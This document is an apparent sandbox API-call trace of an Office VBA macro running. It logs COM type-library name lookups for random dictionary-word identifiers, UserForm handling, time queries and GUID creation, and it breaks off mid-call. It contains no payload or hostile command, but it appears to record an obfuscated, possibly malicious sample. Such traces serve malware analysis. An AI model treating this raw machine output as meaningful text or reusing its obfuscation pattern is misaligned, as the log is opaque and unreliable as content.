(This=0x72d9b00) returned 0x6 [0018.109] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.109] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="dubrovnik", lHashVal=0x10d5ee, pfName=0x263a08, pBstrLibName=0x2638b0 | out: pfName=0x263a08*=0, pBstrLibName=0x2638b0) returned 0x0 [0018.109] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.109] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.109] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="dubrovnik", lHashVal=0x10d5ee, pfName=0x263a08, pBstrLibName=0x2638b0 | out: pfName=0x263a08*=0, pBstrLibName=0x2638b0) returned 0x0 [0018.109] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.109] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.109] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="dubrovnik", lHashVal=0x10d5ee, pfName=0x263a08, pBstrLibName=0x2638b0 | out: pfName=0x263a08*=0, pBstrLibName=0x2638b0) returned 0x0 [0018.109] IUnknown:Release (This=0x7479720) returned 0x5 [0018.109] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.110] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="dubrovnik") returned 0x10d5ee [0018.110] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_dubrovnik") returned 0x30df33 [0018.110] IUnknown:AddRef (This=0x72d9b00) returned 0x7 [0018.110] IUnknown:Release (This=0x72d9b00) returned 0x6 [0018.110] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="preemption") returned 0x100628 [0018.110] strcpy_s (in: _Dst=0x263a50, _DstSize=0xb, _Src="preemption" | out: _Dst="preemption") returned 0x0 [0018.110] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x263a50, cbMultiByte=11, lpWideCharStr=0x2638b0, cchWideChar=11 | out: lpWideCharStr="preemption") returned 11 [0018.110] IUnknown:AddRef (This=0x72d9b00) returned 0x7 [0018.110] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="preemption", lHashVal=0x100628, pfName=0x263a08, pBstrLibName=0x2638b0 | out: pfName=0x263a08*=0, pBstrLibName=0x2638b0) returned 0x0 [0018.110] IUnknown:Release (This=0x72d9b00) returned 0x6 [0018.110] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.110] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="preemption", lHashVal=0x100628, pfName=0x263a08, pBstrLibName=0x2638b0 | out: pfName=0x263a08*=0, pBstrLibName=0x2638b0) returned 0x0 [0018.110] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.110] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.110] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="preemption", lHashVal=0x100628, pfName=0x263a08, pBstrLibName=0x2638b0 | out: pfName=0x263a08*=0, pBstrLibName=0x2638b0) returned 0x0 [0018.110] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.110] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.110] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="preemption", lHashVal=0x100628, pfName=0x263a08, pBstrLibName=0x2638b0 | out: pfName=0x263a08*=0, pBstrLibName=0x2638b0) returned 0x0 [0018.110] IUnknown:Release (This=0x7479720) returned 0x5 [0018.110] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.110] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="preemption") returned 0x100628 [0018.110] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_preemption") returned 0x307492 [0018.111] IUnknown:AddRef (This=0x72d9b00) returned 0x7 [0018.111] IUnknown:Release (This=0x72d9b00) returned 0x6 [0018.111] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="shakable") returned 0x10e24f [0018.111] strcpy_s (in: _Dst=0x263a50, _DstSize=0x9, _Src="shakable" | out: _Dst="shakable") returned 0x0 [0018.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x263a50, cbMultiByte=9, lpWideCharStr=0x2638b0, cchWideChar=9 | out: lpWideCharStr="shakable") returned 9 [0018.111] IUnknown:AddRef (This=0x72d9b00) returned 0x7 [0018.111] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="shakable", lHashVal=0x10e24f, pfName=0x263a08, pBstrLibName=0x2638b0 | out: pfName=0x263a08*=0, pBstrLibName=0x2638b0) returned 0x0 [0018.111] IUnknown:Release (This=0x72d9b00) returned 0x6 [0018.111] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.111] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="shakable", lHashVal=0x10e24f, pfName=0x263a08, pBstrLibName=0x2638b0 | out: pfName=0x263a08*=0, pBstrLibName=0x2638b0) returned 0x0 [0018.111] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.111] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.111] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="shakable", lHashVal=0x10e24f, pfName=0x263a08, pBstrLibName=0x2638b0 | out: pfName=0x263a08*=0, pBstrLibName=0x2638b0) returned 0x0 [0018.111] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.111] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.111] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="shakable", lHashVal=0x10e24f, pfName=0x263a08, pBstrLibName=0x2638b0 | out: pfName=0x263a08*=0, pBstrLibName=0x2638b0) returned 0x0 [0018.111] IUnknown:Release (This=0x7479720) returned 0x5 [0018.111] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.111] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="shakable") returned 0x10e24f [0018.112] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_shakable") returned 0x30b9d8 [0018.112] IUnknown:AddRef (This=0x72d9b00) returned 0x7 [0018.112] IUnknown:Release (This=0x72d9b00) returned 0x6 [0018.112] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="cucurbit") returned 0x101cb8 [0018.112] strcpy_s (in: _Dst=0x263a50, _DstSize=0x9, _Src="cucurbit" | out: _Dst="cucurbit") returned 0x0 [0018.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x263a50, cbMultiByte=9, lpWideCharStr=0x2638b0, cchWideChar=9 | out: lpWideCharStr="cucurbit") returned 9 [0018.112] IUnknown:AddRef (This=0x72d9b00) returned 0x7 [0018.112] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="cucurbit", lHashVal=0x101cb8, pfName=0x263a08, pBstrLibName=0x2638b0 | out: pfName=0x263a08*=0, pBstrLibName=0x2638b0) returned 0x0 [0018.112] IUnknown:Release (This=0x72d9b00) returned 0x6 [0018.112] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.112] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="cucurbit", lHashVal=0x101cb8, pfName=0x263a08, pBstrLibName=0x2638b0 | out: pfName=0x263a08*=0, pBstrLibName=0x2638b0) returned 0x0 [0018.112] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.112] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.112] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="cucurbit", lHashVal=0x101cb8, pfName=0x263a08, pBstrLibName=0x2638b0 | out: pfName=0x263a08*=0, pBstrLibName=0x2638b0) returned 0x0 [0018.112] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.112] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.112] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="cucurbit", lHashVal=0x101cb8, pfName=0x263a08, pBstrLibName=0x2638b0 | out: pfName=0x263a08*=0, pBstrLibName=0x2638b0) returned 0x0 [0018.112] IUnknown:Release (This=0x7479720) returned 0x5 [0018.112] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.112] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="cucurbit") returned 0x101cb8 [0018.112] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_cucurbit") returned 0x30f480 [0018.112] IUnknown:AddRef (This=0x72d9b00) returned 0x7 [0018.113] IUnknown:Release (This=0x72d9b00) returned 0x6 [0018.113] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="insemination") returned 0x10fd42 [0018.113] strcpy_s (in: _Dst=0x263a50, _DstSize=0xd, _Src="insemination" | out: _Dst="insemination") returned 0x0 [0018.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x263a50, cbMultiByte=13, lpWideCharStr=0x2638b0, cchWideChar=13 | out: lpWideCharStr="insemination") returned 13 [0018.113] IUnknown:AddRef (This=0x72d9b00) returned 0x7 [0018.113] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="insemination", lHashVal=0x10fd42, pfName=0x263a08, pBstrLibName=0x2638b0 | out: pfName=0x263a08*=0, pBstrLibName=0x2638b0) returned 0x0 [0018.113] IUnknown:Release (This=0x72d9b00) returned 0x6 [0018.113] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.113] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="insemination", lHashVal=0x10fd42, pfName=0x263a08, pBstrLibName=0x2638b0 | out: pfName=0x263a08*=0, pBstrLibName=0x2638b0) returned 0x0 [0018.113] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.113] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.113] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="insemination", lHashVal=0x10fd42, pfName=0x263a08, pBstrLibName=0x2638b0 | out: pfName=0x263a08*=0, pBstrLibName=0x2638b0) returned 0x0 [0018.113] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.113] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.113] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="insemination", lHashVal=0x10fd42, pfName=0x263a08, pBstrLibName=0x2638b0 | out: pfName=0x263a08*=0, pBstrLibName=0x2638b0) returned 0x0 [0018.113] IUnknown:Release (This=0x7479720) returned 0x5 [0018.113] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.113] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="insemination") returned 0x10fd42 [0018.113] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_insemination") returned 0x30365f [0018.113] IUnknown:AddRef (This=0x72d9b00) returned 0x7 [0018.113] IUnknown:Release (This=0x72d9b00) returned 0x6 [0018.114] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Pmt") returned 0x10c48b [0018.114] strcpy_s (in: _Dst=0x263a50, _DstSize=0x4, _Src="Pmt" | out: _Dst="Pmt") returned 0x0 [0018.114] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x263a50, cbMultiByte=4, lpWideCharStr=0x2638b0, cchWideChar=4 | out: lpWideCharStr="Pmt") returned 4 [0018.114] IUnknown:AddRef (This=0x72d9b00) returned 0x7 [0018.114] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="Pmt", lHashVal=0x10c48b, pfName=0x263a08, pBstrLibName=0x2638b0 | out: pfName=0x263a08*=1, pBstrLibName=0x2638b0) returned 0x0 [0018.114] IUnknown:Release (This=0x72d9b00) returned 0x6 [0018.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Pmt", cchWideChar=-1, lpMultiByteStr=0x263a50, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pmt", lpUsedDefaultChar=0x0) returned 4 [0018.114] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Pmt") returned 0x10c48b [0018.114] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.114] IUnknown:QueryInterface (in: This=0x748c658, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263c68 | out: ppvObject=0x263c68*=0x0) returned 0x80004002 [0018.114] IUnknown:QueryInterface (in: This=0x748c658, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263ce0 | out: ppvObject=0x263ce0*=0x0) returned 0x80004002 [0018.114] IUnknown:QueryInterface (in: This=0x748c658, riid=0x7fef41cf088*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263c50 | out: ppvObject=0x263c50*=0x0) returned 0x80004002 [0018.114] IUnknown:QueryInterface (in: This=0x748c658, riid=0x7fef41cf098*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263cd0 | out: ppvObject=0x263cd0*=0x0) returned 0x80004002 [0018.114] ITypeInfo:RemoteGetTypeAttr (in: This=0x748c658, ppTypeAttr=0x263c58, pDummy=0x10 | out: ppTypeAttr=0x263c58, pDummy=0x10) returned 0x0 [0018.114] ITypeInfo:LocalReleaseTypeAttr (This=0x748c658) returned 0x0 [0018.114] IUnknown:AddRef (This=0x748c658) returned 0x3 [0018.116] SetErrorMode (uMode=0x8001) returned 0x8001 [0018.116] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0018.116] SetErrorMode (uMode=0x8001) returned 0x8001 [0018.116] GetProcAddress (hModule=0x7fef3f10000, lpProcName=0x2a4) returned 0x7fef41abd18 [0018.116] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Day") returned 0x1082a4 [0018.117] strcpy_s (in: _Dst=0x2638f0, _DstSize=0x4, _Src="Day" | out: _Dst="Day") returned 0x0 [0018.117] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=4, lpWideCharStr=0x263750, cchWideChar=4 | out: lpWideCharStr="Day") returned 4 [0018.117] IUnknown:AddRef (This=0x72d9b00) returned 0x9 [0018.117] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="Day", lHashVal=0x1082a4, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=1, pBstrLibName=0x263750) returned 0x0 [0018.117] IUnknown:Release (This=0x72d9b00) returned 0x8 [0018.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Day", cchWideChar=-1, lpMultiByteStr=0x2638f0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Day", lpUsedDefaultChar=0x0) returned 4 [0018.117] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Day") returned 0x1082a4 [0018.117] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.117] IUnknown:QueryInterface (in: This=0x748c6b0, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263b08 | out: ppvObject=0x263b08*=0x0) returned 0x80004002 [0018.117] IUnknown:QueryInterface (in: This=0x748c6b0, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263b80 | out: ppvObject=0x263b80*=0x0) returned 0x80004002 [0018.117] IUnknown:QueryInterface (in: This=0x748c6b0, riid=0x7fef41cf088*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263af0 | out: ppvObject=0x263af0*=0x0) returned 0x80004002 [0018.117] IUnknown:QueryInterface (in: This=0x748c6b0, riid=0x7fef41cf098*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263b70 | out: ppvObject=0x263b70*=0x0) returned 0x80004002 [0018.117] ITypeInfo:RemoteGetTypeAttr (in: This=0x748c6b0, ppTypeAttr=0x263af8, pDummy=0x10 | out: ppTypeAttr=0x263af8, pDummy=0x10) returned 0x0 [0018.117] ITypeInfo:LocalReleaseTypeAttr (This=0x748c6b0) returned 0x0 [0018.117] IUnknown:AddRef (This=0x748c6b0) returned 0x3 [0018.117] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="modernization") returned 0x10e832 [0018.117] strcpy_s (in: _Dst=0x2638f0, _DstSize=0xe, _Src="modernization" | out: _Dst="modernization") returned 0x0 [0018.117] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=14, lpWideCharStr=0x263750, cchWideChar=14 | out: lpWideCharStr="modernization") returned 14 [0018.117] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.117] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="modernization", lHashVal=0x10e832, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.117] IUnknown:Release (This=0x72d9b00) returned 0xa [0018.117] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.118] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="modernization", lHashVal=0x10e832, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.118] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.118] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.118] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="modernization", lHashVal=0x10e832, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.118] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.118] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.118] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="modernization", lHashVal=0x10e832, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.118] IUnknown:Release (This=0x7479720) returned 0x5 [0018.118] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="UserForm", cchWideChar=9, lpMultiByteStr=0x263660, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UserForm", lpUsedDefaultChar=0x0) returned 9 [0018.118] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="UserForm") returned 0x30044e [0018.121] ITypeInfo:RemoteGetDocumentation (in: This=0x759e828, memid=2001, refPtrFlags=0x263750, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x263790 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x263790*=0x0) returned 0x0 [0018.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pothos", cchWideChar=7, lpMultiByteStr=0x263620, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pothos", lpUsedDefaultChar=0x0) returned 7 [0018.121] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="pothos") returned 0x3078d7 [0018.121] ITypeInfo:GetRefTypeInfo (in: This=0x759e828, hreftype=0x5000025, ppTInfo=0x263748 | out: ppTInfo=0x263748*=0x75a7038) returned 0x0 [0018.121] ITypeInfo:RemoteGetTypeAttr (in: This=0x75a7038, ppTypeAttr=0x2636a0, pDummy=0x240 | out: ppTypeAttr=0x2636a0, pDummy=0x240) returned 0x0 [0018.121] ITypeInfo:LocalReleaseTypeAttr (This=0x75a7038) returned 0x0 [0018.121] ITypeInfo:GetImplTypeFlags (in: This=0x75a7038, index=0x0, pImplTypeFlags=0x2636f8 | out: pImplTypeFlags=0x2636f8*=1) returned 0x0 [0018.121] ITypeInfo:GetRefTypeOfImplType (in: This=0x75a7038, index=0x0, pRefType=0x263690 | out: pRefType=0x263690*=0x2680) returned 0x0 [0018.121] ITypeInfo:GetRefTypeInfo (in: This=0x75a7038, hreftype=0x2680, ppTInfo=0x263698 | out: ppTInfo=0x263698*=0x75a7090) returned 0x0 [0018.121] IUnknown:Release (This=0x75a7090) returned 0x0 [0018.121] ITypeInfo:GetImplTypeFlags (in: This=0x75a7038, index=0x1, pImplTypeFlags=0x2636f8 | out: pImplTypeFlags=0x2636f8*=3) returned 0x0 [0018.121] ITypeInfo:GetRefTypeOfImplType (in: This=0x75a7038, index=0x1, pRefType=0x263690 | out: pRefType=0x263690*=0x3180) returned 0x0 [0018.121] ITypeInfo:GetRefTypeInfo (in: This=0x75a7038, hreftype=0x3180, ppTInfo=0x263698 | out: ppTInfo=0x263698*=0x75a71f0) returned 0x0 [0018.121] IUnknown:Release (This=0x75a71f0) returned 0x1 [0018.121] IUnknown:Release (This=0x75a7038) returned 0x1 [0018.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="UserForm", cchWideChar=9, lpMultiByteStr=0x263660, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UserForm", lpUsedDefaultChar=0x0) returned 9 [0018.121] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="UserForm") returned 0x30044e [0018.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0I5b6ce3b5", cchWideChar=11, lpMultiByteStr=0x263830, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0I5b6ce3b5", lpUsedDefaultChar=0x0) returned 11 [0018.122] GetLocalTime (in: lpSystemTime=0x2638e0 | out: lpSystemTime=0x2638e0*(wYear=0x7e1, wMonth=0x8, wDayOfWeek=0x2, wDay=0x16, wHour=0x1, wMinute=0x22, wSecond=0x1, wMilliseconds=0x84)) [0018.122] _ultow_s (in: _Value=0x5b6e3d09, _Buffer=0x74a8fe4, _BufferCount=0x9, _Radix=16 | out: _Buffer="5b6e3d09") returned 0x0 [0018.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="055b6e3d09", cchWideChar=11, lpMultiByteStr=0x263860, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="055b6e3d09", lpUsedDefaultChar=0x0) returned 11 [0018.122] ITypeInfo:RemoteGetTypeAttr (in: This=0x759e828, ppTypeAttr=0x263918, pDummy=0x0 | out: ppTypeAttr=0x263918, pDummy=0x0) returned 0x0 [0018.122] ITypeInfo:GetRefTypeOfImplType (in: This=0x759e828, index=0xffffffff, pRefType=0x263900 | out: pRefType=0x263900*=0xfffffffe) returned 0x0 [0018.122] ITypeInfo:GetRefTypeInfo (in: This=0x759e828, hreftype=0xfffffffe, ppTInfo=0x2638b0 | out: ppTInfo=0x2638b0*=0x759e768) returned 0x0 [0018.122] ITypeInfo:LocalReleaseTypeAttr (This=0x759e828) returned 0x0 [0018.122] IUnknown:Release (This=0x759e828) returned 0x4 [0018.122] ITypeInfo:RemoteGetTypeAttr (in: This=0x759e768, ppTypeAttr=0x263918, pDummy=0x6 | out: ppTypeAttr=0x263918, pDummy=0x6) returned 0x0 [0018.122] ITypeInfo:LocalReleaseTypeAttr (This=0x759e768) returned 0x0 [0018.122] IUnknown:Release (This=0x759e768) returned 0x3 [0018.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modernization", cchWideChar=14, lpMultiByteStr=0x263690, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modernization", lpUsedDefaultChar=0x0) returned 14 [0018.122] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="modernization") returned 0x30e832 [0018.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="UserForm", cchWideChar=9, lpMultiByteStr=0x263460, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UserForm", lpUsedDefaultChar=0x0) returned 9 [0018.122] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="UserForm") returned 0x30044e [0018.124] ITypeInfo:RemoteGetDocumentation (in: This=0x759e828, memid=2001, refPtrFlags=0x263550, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x263590 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x263590*=0x0) returned 0x0 [0018.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pothos", cchWideChar=7, lpMultiByteStr=0x263420, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pothos", lpUsedDefaultChar=0x0) returned 7 [0018.124] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="pothos") returned 0x3078d7 [0018.124] ITypeInfo:GetRefTypeInfo (in: This=0x759e828, hreftype=0x5000025, ppTInfo=0x263548 | out: ppTInfo=0x263548*=0x75a7038) returned 0x0 [0018.124] ITypeInfo:RemoteGetTypeAttr (in: This=0x75a7038, ppTypeAttr=0x2634a0, pDummy=0x240 | out: ppTypeAttr=0x2634a0, pDummy=0x240) returned 0x0 [0018.125] ITypeInfo:LocalReleaseTypeAttr (This=0x75a7038) returned 0x0 [0018.125] ITypeInfo:GetImplTypeFlags (in: This=0x75a7038, index=0x0, pImplTypeFlags=0x2634f8 | out: pImplTypeFlags=0x2634f8*=1) returned 0x0 [0018.125] ITypeInfo:GetRefTypeOfImplType (in: This=0x75a7038, index=0x0, pRefType=0x263490 | out: pRefType=0x263490*=0x2680) returned 0x0 [0018.125] ITypeInfo:GetRefTypeInfo (in: This=0x75a7038, hreftype=0x2680, ppTInfo=0x263498 | out: ppTInfo=0x263498*=0x75a7090) returned 0x0 [0018.125] IUnknown:Release (This=0x75a7090) returned 0x0 [0018.125] ITypeInfo:GetImplTypeFlags (in: This=0x75a7038, index=0x1, pImplTypeFlags=0x2634f8 | out: pImplTypeFlags=0x2634f8*=3) returned 0x0 [0018.125] ITypeInfo:GetRefTypeOfImplType (in: This=0x75a7038, index=0x1, pRefType=0x263490 | out: pRefType=0x263490*=0x3180) returned 0x0 [0018.125] ITypeInfo:GetRefTypeInfo (in: This=0x75a7038, hreftype=0x3180, ppTInfo=0x263498 | out: ppTInfo=0x263498*=0x75a71f0) returned 0x0 [0018.125] IUnknown:Release (This=0x75a71f0) returned 0x1 [0018.125] IUnknown:Release (This=0x75a7038) returned 0x1 [0018.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="UserForm", cchWideChar=9, lpMultiByteStr=0x263460, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UserForm", lpUsedDefaultChar=0x0) returned 9 [0018.125] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="UserForm") returned 0x30044e [0018.125] IUnknown:AddRef (This=0x75a71f0) returned 0x2 [0018.125] IUnknown:Release (This=0x75a71f0) returned 0x1 [0018.125] IUnknown:AddRef (This=0x759ea68) returned 0x3 [0018.125] IUnknown:Release (This=0x759ea68) returned 0x2 [0018.125] IUnknown:Release (This=0x759e828) returned 0x3 [0018.125] ITypeInfo:RemoteGetTypeAttr (in: This=0x759e888, ppTypeAttr=0x263870, pDummy=0x0 | out: ppTypeAttr=0x263870, pDummy=0x0) returned 0x0 [0018.125] ITypeInfo:LocalReleaseTypeAttr (This=0x759e888) returned 0x0 [0018.125] IUnknown:Release (This=0x759e888) returned 0x2 [0018.125] CoCreateGuid (in: pguid=0x2638d8 | out: pguid=0x2638d8*(Data1=0xe2b2bd9d, Data2=0x11ca, Data3=0x46db, Data4=([0]=0xa4, [1]=0xf0, [2]=0x1b, [3]=0x6, [4]=0x83, [5]=0x44, [6]=0x58, [7]=0xdc))) returned 0x0 [0018.125] CoCreateGuid (in: pguid=0x2638d8 | out: pguid=0x2638d8*(Data1=0x2286a079, Data2=0xff59, Data3=0x4591, Data4=([0]=0x92, [1]=0x83, [2]=0xab, [3]=0x69, [4]=0xd6, [5]=0xff, [6]=0xc8, [7]=0x6d))) returned 0x0 [0018.126] IUnknown:QueryInterface (in: This=0x759e828, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, 